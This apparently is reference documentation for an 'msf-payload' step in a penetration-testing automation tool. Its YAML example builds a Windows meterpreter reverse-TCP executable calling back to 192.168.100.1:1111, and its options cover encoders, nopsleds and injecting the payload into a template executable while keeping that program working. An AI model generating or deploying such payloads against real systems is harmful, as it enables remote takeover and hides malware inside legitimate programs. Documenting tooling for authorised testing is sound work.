msf-payload

Generate metasploit payloads and save the payload to a file.

- type: msf-payload
  cmd: windows/meterpreter/reverse_tcp
  format: exe
  payload_options:
    LHOST: 192.168.100.1
    LPORT: 1111
  local_path: /tmp/payload.exe

- type: shell
  cmd: cat $LAST_MSF_PAYLOAD
cmd

The payload to generate.

Type:

str

Required:

True

format

Generate the payload in this format. See metasploit documentation to find out the supported formats

Type:

str

Default:

raw

payload_options

Typical payload_options are LHOST or LPORT for reverse shells. Dict(key/values) of payload options.

Type:

Dict[str,str]

local_path

Copy the payload to this local path. If not set, the payload will be saved in a temporary path.

Type:

str

badchars

Characters to avoid example: ‘x00xff’

Type:

str

force_encode

Force encoding

Type:

bool

Default:

False

encoder

The encoder to use. msfvenom --list  encoders to list

Type:

str

template

Specify a custom executable file to use as a template

Type:

str(path)

platform

The platform for the payload. msfvenom --list platforms to list

Type:

str

keep_template_working

Preserve the template behaviour and inject the payload as a new thread

Type:

bool

Default:

False

nopsled_size

Prepend a nopsled of [length] size on to the payload

Type:

int

Default:

0

iter

The number of times to encode the payload

Type:

int

Default:

0